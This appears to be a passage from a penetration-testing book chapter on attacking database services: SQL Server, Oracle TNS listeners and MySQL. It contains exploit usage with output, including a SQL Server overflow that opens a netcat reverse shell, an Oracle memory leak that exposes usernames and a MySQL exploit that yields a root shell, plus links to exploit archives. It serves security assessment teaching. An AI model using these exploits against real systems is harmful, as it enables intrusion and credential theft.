You can use Chip Andrews’ SQLPing Windows command-line utility to enumerate SQL Server details through the SSRS port (UDP 1434). SQLPing is available from http://examples.oreilly.com/networksa/tools/sqlping.zip.

Example 9-1 shows SQLPing in use against a SQL 2000 Server, revealing the server name, database instance name, and clustering information, along with version details and network port/named pipe information.

D:SQL> sqlping 192.168.0.51
SQL-Pinging 192.168.0.51
Listening....

ServerName:dbserv
InstanceName:MSSQLSERVER
IsClustered:No
Version:8.00.194
tcp:1433
np:\dbservpipesqlquery

Interestingly, even if the SQL Server has been patched using the latest service pack and Microsoft security hotfixes, the version remains at 8.00.194 (when it is actually 8.00.762 if SP3 is installed). Therefore, the exact version number reported through the SSRS shouldn’t be trusted.

For information purposes, Table 9-1 lists SQL versions reported by Microsoft SQL, so that you can enumerate the service pack and patch level of the service.

Further discussion of Microsoft SQL Server version numbers and querying can be found in Microsoft KB article 321185 (http://support.microsoft.com/kb/321185).

MetaCoretex (http://sourceforge.net/projects/metacoretex/) is a modular database vulnerability scanner written entirely in Java and effective at testing Microsoft SQL Server, Oracle, and MySQL databases. The scanner has a number of Microsoft SQL Server probes. In particular, here are some useful remote tests:

Patrik Karlsson wrote an excellent toolkit for easily compromising the underlying server upon gaining access to the SQL service, called SQLAT, available at http://www.cqure.net/tools.jsp?id=6.

SQLAT is highly effective and well-developed, restoring the xp_cmdshell stored procedure if it has been removed, and allowing you to upload files, dump registry keys, and access the SAM database.

The SQL resolution service overflow (CVE-2002-0649) can easily be exploited using the standalone ms-sql.exe, available along with source code from the O’Reilly archive at:

Example 9-2 shows the ms-sql exploit usage. The stack overflow creates a connect-back reverse shell from the SQL server back to the user, which is useful if a half-decent firewall policy is in place blocking access to high ports on the server.

D:SQL> ms-sql
===============================================================
SQL Server UDP Buffer Overflow Remote Exploit
Modified from "Advanced Windows Shellcode"
Code by David Litchfield, [email protected]
Modified by lion, fix a bug.
Welcome to HUC web site http://www.cnhonker.com

Usage:
 sql Target [<NCHost> <NCPort> <SQLSP>]

Exemple:
 C:> nc -l -p 53
Target is MSSQL SP 0:
 C:> ms-sql 192.168.0.1 192.168.7.1 53 0
Target is MSSQL SP 1 or 2:
 c:> ms-sql 192.168.0.1 192.168.7.1 53 1

In my lab environment, I am on 192.168.189.1, attacking a server at 10.0.0.5. I use the exploit (shown in Example 9-3) to send the exploit payload, which results in the server connecting back to me on TCP port 53 with a command prompt.

D:SQL> ms-sql 10.0.0.5 192.168.189.1 53 1
Service Pack 1 or 2.
Import address entry for GetProcAddress @ 0x42ae101C
Packet sent!
If you don't have a shell it didn't work.

At the same time, I set up my Netcat listener on TCP port 53. Upon sending the overflow code to the vulnerable service, an interactive command prompt is spawned from the remote server, as shown in Example 9-4.

D:SQL> nc -l -p 53 -v -v
listening on [any] 53 ...
connect to [192.168.189.1] from dbserv [10.0.0.5] 4870
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.

C:WINNTsystem32>

You can use tnscmd.pl to issue various commands to the TNS listener service. Example 9-5 shows the default ping command being issued to the listener to solicit a response.

$ perl tnscmd.pl -h 192.168.189.45
connect writing 87 bytes [(CONNECT_DATA=(COMMAND=ping))]
.W.......6.,...............:................4.............(CONNECT_DATA=
(COMMAND=ping))
read
..."..=(DESCRIPTION=(TMP=)(VSNNUM=135294976)(ERR=0)(ALIAS=LISTENER))
eon

The VSNUM is the Oracle version number in decimal, which you can convert to hex. Figure 9-2 shows that the Base Converter application determines the version as 8.1.7.

Figure 9-2. Converting the VSNUM decimal value to hex

You can issue a version command to the TNS listener using tnscmd.pl, as shown in Example 9-6. In this case, I learn that the server is running Oracle 8.1.7 on Solaris.

$ perl tnscmd.pl version -h 192.168.189.45
connect writing 90 bytes [(CONNECT_DATA=(COMMAND=version))]
.Z.......6.,...............:................4.............(CONNECT_DATA=
(COMMAND=version))
read
.M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135294976
)(ERR=0)).b........TNSLSNR.for.Solaris:.Version.8.1.7.0.0.-.Producti
on..TNS.for.Solaris:.Version.8.1.7.0.0.-.Production..Unix.Domain.Soc
ket.IPC.NT.Protocol.Adaptor.for.Solaris:.Version.8.1.7.0.0.-.Develop
ment..Oracle.Bequeath.NT.Protocol.Adapter.for.Solaris:.Version.8.1.7
.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.Solaris:.Version.8
.1.7.0.0.-.Production,,.........@
eon

The tnscmd.pl documentation written and maintained by James W. Abendschan at http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html lists a number of TNS listener commands that can be executed remotely using the tool; they are listed in Table 9-3. This is only a summary of the tool and its use—I recommend further investigation of tnscmd.pl if you are interested in Oracle security.

You can send a status command to the listener that returns a number of useful pieces of information. Example 9-7 shows this command being issued.

$ perl tnscmd.pl status -h 192.168.189.46
connect writing 89 bytes [(CONNECT_DATA=(COMMAND=status))]
.W.......6.,...............:................4.............(CONNECT_DATA=
(COMMAND=status))
writing 89 bytes
read
........"..v.........(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR
.........6.........'.............j........(DESCRIPTION=(TMP=)(VSNNUM
=135290880)(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for
.Solaris:.Version.8.1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:
35:49)(SIDNUM=1)(LOGFILE=/u01/app/oracle/product/8.1.6/network/log/l
istener.log)(PRMFILE=/u01/app/oracle/product/8.1.6/network/admin/lis

The SECURITY=OFF setting within the information returned tells me that the TNS listener is set with no authentication and thus allows anonymous remote attackers to launch attacks with relative ease. It also retrieves LOGFILE details and many other variables that have been stripped for brevity.

An interesting vulnerability that was publicly reported by ISS X-Force in October 2000, but also found by James W. Abendschan, is that which occurs when the cmdsize variable of a given TNS listener command request is falsified.

In Example 9-8, I send a standard 87-byte ping request to the listener, but report the cmdsize as being 256 bytes in total. The TNS listener responds with over 380 bytes of data, containing hostname, SQL usernames, and other active session information. If I execute this same attack multiple times on a busy server, I will compromise most of the database usernames. The SQL*Net login process is handled by a child process, and so this memory leak issue doesn’t reveal passwords.

$ perl tnscmd.pl -h 192.168.189.44 --cmdsize 256
Faking command length to 256 bytes
connect writing 87 bytes [(CONNECT_DATA=(COMMAND=ping))]
.W.......6.,...............:................4.............(CONNECT_DATA=
(COMMAND=ping))
read
........"..v.........(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR
_STACK=(ERROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=ping)
)OL=TCP)(HOST=oraclesvr)(PORT=1541))(CONNECT_DATA=(SERVICE_NAME=pr01
)(CID=(PROGRAM=)(HOST=oraclesvr)(USER=oracle))))HOST=TOM)(USER=tom))
))ORANTBINifrun60.EXE)(HOST=ENGINEERING-1)(USER=Rick))))im6IM60.
EXE)(HOST=RICK)(U'))(ERROR=(CODE=303)(EMFI=1))))
eon

For novices wishing to abuse default Oracle passwords to gain underlying system access, the Oracle Auditing Tools (OAT) package is available for Windows platforms at http://www.cqure.net/tools.jsp?id=7.

In particular, the OAT toolkit contains simple scripts you can use to execute commands, upload and download files via TFTP, and dump the SAM database of Windows-based Oracle servers.

As mentioned earlier in this chapter, MetaCoretex (http://sourceforge.net/projects/metacoretex/) is a Java database vulnerability scanner. In particular, the scanner has a number of pre- and post-authentication Oracle probes. In particular, some useful remote tests are:

Upon authenticating with a valid database SID through the TNS listener, there are many local privilege escalation and overflow issues within Oracle. A handful of recent locally exploitable bugs, as listed in MITRE CVE, are given in Table 9-6. Many issues in the CVE list have insufficient information (as Oracle released patches without providing adequate details), and so it is difficult to put together a meaningful list of bugs. I have assembled this list by cross-referencing the Oracle exploit scripts available through milw0rm (http://www.milw0rm.com) with ISS X-Force (http://xforce.iss.net), MITRE CVE (http://cve.mitre.org), and the Oracle security center (http://www.oracle.com/technology/deploy/security/index.html).

The milw0rm exploits listed in Table 9-6 are available from the site using a URL such as http://www.milw0rm.com/exploits/932, and they are zipped and available from the O’Reilly tools archive at http://examples.oreilly.com/networksa/tools/milw0rm_oracle.zip. Oracle Critical Patch Update (CPU) details are available from the Oracle security center at http://www.oracle.com/technology/deploy/security/alerts.htm.

A recommended book specializing in Oracle security testing and countermeasures is The Oracle Hacker’s Handbook by David Litchfield (Wiley, 2007), which contains detailed information relating to Oracle database testing. A useful and recent PDF documenting Oracle issues and hardening strategies is available from http://www.red-database-security.com/wp/hacking_and_hardening_oracle_xe.pdf.

The original BugTraq posting from May 3, 2006, regarding CVE-2006-1516, CVE-2006-1517, and CVE-2006-1518 is accessible at: http://www.securityfocus.com/archive/1/archive/1/432734/100/0/threaded.

A proof-of-concept exploit script for CVE-2004-0627 (MySQL 4.1.2 authentication bypass) is available from http://www.securiteam.com/exploits/5ep0720dfs.html. A handful of other exploits for MySQL issues are available from http://www.milw0rm.com.

An exploit for CVE-2003-0780 (MySQL 4.0.15 post-authentication privilege escalation issue) is available at http://packetstormsecurity.org/0309-exploits/09.14.mysql.c. Example 9-9 shows the exploit script in use against a vulnerable MySQL server, providing root access to the operating system. For exploit usage and options, simply run the tool with no arguments.

$ ./mysql -d 10.0.0.8 -p "" -t 1
@-------------------------------------------------@
#  Mysql 3.23.x/4.0.x remote exploit(2003/09/12)  #
@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @
---------------------------------------------------
[+] Connecting to mysql server 10.0.0.8:3306....ok
[+] ALTER user column...ok
[+] Select a valid user...ok
[+] Found a user:test
[+] Password length:480
[+] Modified password...ok
[+] Finding client socket......ok
[+] socketfd:3
[+] Overflow server....ok
[+] sending OOB.......ok
[+] Waiting a shell.....
bash-2.05#